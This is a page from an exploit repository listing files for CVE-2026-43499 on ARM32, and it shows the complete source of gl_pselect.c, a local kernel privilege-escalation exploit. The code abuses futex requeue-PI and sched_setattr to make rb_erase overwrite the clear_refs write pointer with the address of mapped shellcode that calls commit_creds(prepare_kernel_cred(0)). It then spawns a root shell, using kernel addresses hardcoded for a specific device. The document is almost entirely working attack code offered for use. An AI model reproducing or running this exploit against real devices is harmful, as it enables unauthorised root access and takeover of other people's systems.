Exploit databaseDownload repository ZIP
GH-84a2584893aa73cb0829550f9c55b3e1
tc3650/cve-2026-43499-armv7
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
- ↑..Parent directory
- dirtyclone_exploit.c
- dirtyclone_pipe_probe.c
- dirtyclone_surface.c
- dirtyclone_tcp_probe.c
- g62_6iov.c
- g62_8e.c
- g62_8iov.c
- g62_pispray.c
- g62_rand.c
- g62_scan.c
- g62_self.c
- ghostlock.c
- ghostlock10.c
- ghostlock11.c
- ghostlock12.c
- ghostlock13.c
- ghostlock14.c
- ghostlock15.c
- ghostlock16.c
- ghostlock17.c
- ghostlock18.c
- ghostlock19.c
- ghostlock2.c
- ghostlock20.c
- ghostlock21.c
- ghostlock22.c
- ghostlock23.c
- ghostlock24.c
- ghostlock25.c
- ghostlock26.c
- ghostlock27.c
- ghostlock28.c
- ghostlock29.c
- ghostlock3.c
- ghostlock30.c
- ghostlock31.c
- ghostlock31_tmp.c
- ghostlock32.c
- ghostlock33.c
- ghostlock4.c
- ghostlock5.c
- ghostlock6.c
- ghostlock63.c
- ghostlock64.c
- ghostlock8.c
- ghostlock9.c
- ghostlock_all.sh
- ghostlock_check.sh
- ghostlock_root.c
- gl_pselect.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/gl_pselect.c
C · 13,526 bytes/*
* gl_pselect.c — ARM32 port of popsicle's pselect + sched_setattr approach
*
* Instead of writev spray, use pselect() fd_set as the fake rt_mutex_waiter
* on the kernel stack. Consumer calls sched_setattr during pselect to
* trigger PI chain walk -> rb_erase -> write through fake tree.
*
* Compile: arm-linux-gnueabi-gcc -static -marm -O0 -o gl_pselect gl_pselect.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <linux/futex.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
/* ── syscall helpers ── */
static long sys6(long n, long a0, long a1, long a2, long a3, long a4, long a5)
{
register long r0 asm("r0") = a0, r1 asm("r1") = a1;
register long r2 asm("r2") = a2, r3 asm("r3") = a3;
register long r4 asm("r4") = a4, r5 asm("r5") = a5;
register long r7 asm("r7") = n;
asm volatile("svc #0" : "+r"(r0) : "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r7) : "memory");
return r0;
}
#define SYS0(n) sys6((n),0,0,0,0,0,0)
#define SYS1(n,a) sys6((n),(long)(a),0,0,0,0,0)
#define SYS3(n,a,b,c) sys6((n),(long)(a),(long)(b),(long)(c),0,0,0)
#define SYS6(n,...) sys6((n),__VA_ARGS__)
/* ── constants ── */
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)
/* kernel addresses (from System.map of MDS-AL00) */
#define PROC_CLEAR_REFS_OPS 0xC0CAF280
#define CLEAR_REFS_WRITE (PROC_CLEAR_REFS_OPS + 12) /* 0xC0CAF28C */
/* ── globals ── */
static uint32_t f_wait = 0, f_target = 0, f_chain = 0;
static volatile int waiter_ready = 0, owner_started = 0, route_done = 0;
static volatile int punch_go = 0, punch_stop = 0;
static volatile int consumer_calls = 0, consumer_success = 0;
static volatile int waiter_tid = 0;
static void *shellcode_page = NULL;
static uint32_t shellcode_page_addr = 0;
/* ── pselect layout ── */
/* fd_set is ~1280 bytes (FD_SETSIZE=1024 bits). We put our fake waiter
* struct at specific word offsets within the fd_set.
* On ARM32, sizeof(unsigned long)=4, so each word is 4 bytes.
* With PSELECT_ROUTE_NFDS=320, fd_set is 320 bits = 40 bytes.
* We use 3 fd_set structs (in, out, ex) = 120 bytes total on stack.
*
* Word layout within the combined fd_set area:
* The waiter's rt_mutex_waiter struct will be placed at specific word offsets.
* We use PSELECT_WAITER_WORD_SHIFT to align with the kernel's internal
* rt_mutex_waiter placement on the stack.
*/
#define PSELECT_ROUTE_NFDS 128
#define PSELECT_WAITER_WORD_SHIFT 0 /* adjust for kernel stack alignment */
#define FAKE_WAITER_PRIO 130
/* ── shellcode ── */
/* commit_creds(prepare_kernel_cred(0)); return 0; */
static const uint32_t shellcode[] = {
0xe92d4010, /* push {r4, lr} */
0xe3a00000, /* mov r0, #0 */
0xe59f3010, /* ldr r3, [pc, #16] */
0xe12fff33, /* blx r3 */
0xe1a04000, /* mov r4, r0 */
0xe1a00004, /* mov r0, r4 */
0xe59f3008, /* ldr r3, [pc, #8] */
0xe12fff33, /* blx r3 */
0xe8bd8010, /* pop {r4, pc} */
0xc014059c, /* prepare_kernel_cred */
0xc0140390, /* commit_creds */
};
/* ── fd_set manipulation ── */
static void fdset_put32(fd_set *set, int word, uint32_t value)
{
((uint32_t *)set)[word] = value;
}
static uint32_t fdset_get32(const fd_set *set, int word)
{
return ((const uint32_t *)set)[word];
}
/* ── thread functions ── */
static void *waiter_thread(void *arg)
{
(void)arg;
waiter_tid = syscall(SYS_gettid);
/* Lock pi_chain — this adds us as a waiter on pi_chain */
sys6(__NR_futex, (long)&f_chain, FLPI, 0, 0, 0, 0);
waiter_ready = 1;
while (!owner_started) usleep(1000);
/* FUTEX_WAIT_REQUEUE_PI — blocks on f_wait, then requeued to f_target */
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
ts.tv_sec += 6;
sys6(__NR_futex, (long)&f_wait, FWRQ, 0, (long)&ts, (long)&f_target, 0);
/* Now do pselect with crafted fd_set */
/* ============================================================== */
/* During this pselect, the consumer thread will call sched_setattr
* on us (waiter_tid). This triggers the kernel scheduler to walk
* the PI chain. If the walk reaches our rt_mutex_waiter struct
* (which we placed in the fd_set on the stack), rb_erase will
* write through the fake tree nodes.
*
* Tree layout (shape=0):
* tree_entry.__rb_parent_color = CLEAR_REFS_WRITE - 8 + 1 (parent addr, LSB=1=left child)
* tree_entry.rb_right = 0 (no right child)
* tree_entry.rb_left = shellcode_page_addr (child = value written)
* Same for pi_tree_entry.
*
* When rb_erase runs:
* child = node->rb_left = shellcode_page_addr
* parent = (CLEAR_REFS_WRITE - 8 + 1) & ~3 = CLEAR_REFS_WRITE - 8
* parent->rb_left = child → *(CLEAR_REFS_WRITE - 8 + 8) = shellcode_page_addr
* → *(0xC0CAF28C) = shellcode_page_addr ✓
*/
/* ============================================================== */
/* Try multiple pselect rounds with different delays */
for (int attempt = 0; attempt < 4; attempt++) {
fd_set in, out, ex;
FD_ZERO(&in);
FD_ZERO(&out);
FD_ZERO(&ex);
uint32_t target = CLEAR_REFS_WRITE;
uint32_t value = shellcode_page_addr;
/* Shape 0: parent = value (shellcode_page_addr), left = target (CLEAR_REFS_WRITE)
* rb_erase writes 'child' (rb_left = value) to parent->{left,right}
* So parent must be target - 8 + 1 (left child) or target - 4 (right child)
*/
uint32_t parent = target - 8 + 1; /* left child → parent + 8 = target */
uint32_t left = value; /* shellcode page addr (what we want written) */
/* Layout: the rt_mutex_waiter struct at word 0-13 in fd_set
* word 0: __rb_parent_color
* word 1: rb_right
* word 2: rb_left
* word 3: tree prio/state
* word 4: tree deadline
* word 5: pi __rb_parent_color
* word 6: pi rb_right
* word 7: pi rb_left
* word 8: pi prio
* word 9: pi deadline
* word 10: task pointer (needs valid-looking addr)
* word 11: lock pointer (needs valid-looking addr)
* word 12: wake_state
*/
fdset_put32(&in, 0, parent); /* tree_entry.__rb_parent_color */
fdset_put32(&in, 1, 0); /* tree_entry.rb_right = NULL */
fdset_put32(&in, 2, left); /* tree_entry.rb_left = shellcode */
fdset_put32(&in, 3, FAKE_WAITER_PRIO);
fdset_put32(&in, 4, 0); /* deadline */
fdset_put32(&in, 5, parent); /* pi_tree_entry.__rb_parent_color */
fdset_put32(&in, 6, 0); /* pi_tree_entry.rb_right */
fdset_put32(&in, 7, left); /* pi_tree_entry.rb_left */
fdset_put32(&in, 8, FAKE_WAITER_PRIO);
fdset_put32(&in, 9, 0);
fdset_put32(&in, 10, 0xC0CAED08); /* fake task (guess from ghostlock) */
fdset_put32(&in, 11, 0xB6A00000); /* fake lock (userspace addr) */
fdset_put32(&in, 12, 3); /* wake_state = 3 (FUTEX_WAITER_OTHERS) */
fdset_put32(&in, 13, 0);
/* Set fd 0 as readable to avoid pselect returning EINTR */
FD_SET(0, &in);
struct timespec timeout = { .tv_sec = 3, .tv_nsec = 0 };
/* Signal consumer to start */
punch_go = 1;
int ret = pselect(PSELECT_ROUTE_NFDS, &in, &out, &ex, &timeout, NULL);
int saved_errno = errno;
punch_go = 0;
printf("[waiter] pselect attempt=%d ret=%d errno=%d calls=%d success=%d\n",
attempt, ret, saved_errno, consumer_calls, consumer_success);
if (consumer_success > 0) break;
usleep(100000);
}
route_done = 1;
/* Release locks */
sys6(__NR_futex, (long)&f_chain, FUPI, 0, 0, 0, 0);
return NULL;
}
static void *owner_thread(void *arg)
{
(void)arg;
/* Lock f_target */
sys6(__NR_futex, (long)&f_target, FLPI, 0, 0, 0, 0);
while (!waiter_ready) usleep(1000);
owner_started = 1;
/* Lock f_chain — this makes us a waiter on pi_chain */
sys6(__NR_futex, (long)&f_chain, FLPI, 0, 0, 0, 0);
sys6(__NR_futex, (long)&f_chain, FUPI, 0, 0, 0, 0);
return NULL;
}
/* We need to call syscall(SYS_sched_setattr, tid, attr, flags) */
/* SYS_sched_setattr = 380 on ARM */
struct sched_attr {
uint32_t size;
uint32_t sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime;
uint64_t sched_deadline;
uint64_t sched_period;
};
static int sched_setattr_test(pid_t pid, int nice)
{
struct sched_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.sched_policy = SCHED_OTHER;
attr.sched_nice = nice;
return syscall(380, pid, &attr, 0); /* SYS_sched_setattr = 380 */
}
static void *consumer_thread(void *arg)
{
(void)arg;
while (!punch_stop) {
int seq = punch_go;
if (seq == 0) {
usleep(10);
continue;
}
while (punch_go && !punch_stop) {
consumer_calls++;
errno = 0;
long ret = sched_setattr_test(waiter_tid, 19);
int saved = errno;
if (ret == 0) {
consumer_success++;
} else {
printf("[consumer] sched_setattr tid=%d ret=%ld errno=%d\n",
waiter_tid, ret, saved);
}
usleep(10000);
}
}
return NULL;
}
/* ── clear_refs trigger ── */
static int trigger_clear_refs(void)
{
int fd = open("/proc/self/clear_refs", O_WRONLY);
if (fd < 0) {
printf("[trigger] open failed errno=%d\n", errno);
return -1;
}
ssize_t n = write(fd, "1", 1);
printf("[trigger] write=%zd\n", n);
close(fd);
return (n == 1) ? 0 : -1;
}
/* ── check clear_refs_ops.write ── */
/* We can't read kernel memory from userspace directly.
* But we can check if clear_refs write succeeds — if the function pointer
* was overwritten to our shellcode, the shellcode will run and (hopefully)
* set our uid to 0. */
int main(void)
{
printf("=== gl_pselect: ARM32 pselect + sched_setattr ===\n");
/* Allocate shellcode page at a known address */
/* Try near 0xB5000000 range */
uint32_t want = 0xB5000000;
shellcode_page = mmap((void *)(uintptr_t)want, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
if (shellcode_page == MAP_FAILED) {
/* Try without MAP_FIXED */
shellcode_page = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
}
if (shellcode_page == MAP_FAILED) {
printf("[-] mmap shellcode page failed\n");
return 1;
}
shellcode_page_addr = (uint32_t)(uintptr_t)shellcode_page;
printf("[*] shellcode at 0x%x\n", shellcode_page_addr);
/* Copy shellcode */
memcpy(shellcode_page, shellcode, sizeof(shellcode));
printf("[*] shellcode installed\n");
printf("[*] sc[0]=0x%x\n", *(uint32_t *)shellcode_page);
/* Start threads */
pthread_t waiter, owner, consumer;
pthread_create(&waiter, NULL, waiter_thread, NULL);
pthread_create(&owner, NULL, owner_thread, NULL);
pthread_create(&consumer, NULL, consumer_thread, NULL);
/* Wait for waiter to be ready */
while (!waiter_ready) usleep(10000);
/* Give threads time to set up */
usleep(50000);
/* Trigger futex CMP_REQUEUE_PI to move waiter from f_wait to f_target */
printf("[*] FCRQ: requeue waiter to f_target\n");
long ret = sys6(__NR_futex, (long)&f_wait, FCRQ, 1, (long)(void *)1,
(long)&f_target, 0);
printf("[*] FCRQ ret=0x%x (%ld)\n", (uint32_t)ret, ret);
/* Wait for pselect rounds */
while (!route_done) usleep(50000);
/* Stop consumer */
punch_stop = 1;
usleep(100000);
printf("[*] consumer calls=%d success=%d\n", consumer_calls, consumer_success);
/* Check if we have root */
uid_t uid = getuid();
printf("[*] uid before trigger=%d\n", uid);
if (uid != 0) {
printf("[!] triggering write(/proc/self/clear_refs)...\n");
int fd = open("/proc/self/clear_refs", O_WRONLY);
if (fd >= 0) {
/* Check if process still alive after open */
printf("[!] open ok, writing...\n");
ssize_t n = write(fd, "1", 1);
printf("[!] write returned %zd\n", n);
close(fd);
} else {
printf("[!] open failed errno=%d (might be root already or crash)\n", errno);
}
}
uid = getuid();
gid_t gid = getgid();
printf("uid=%d gid=%d\n", uid, gid);
if (uid == 0) {
printf("[+] ROOT!\n");
printf("[+] uid=0 gid=0\n");
execl("/system/bin/sh", "sh", NULL);
} else {
printf("[-] not root\n");
}
printf("[*] alive\n");
return 0;
}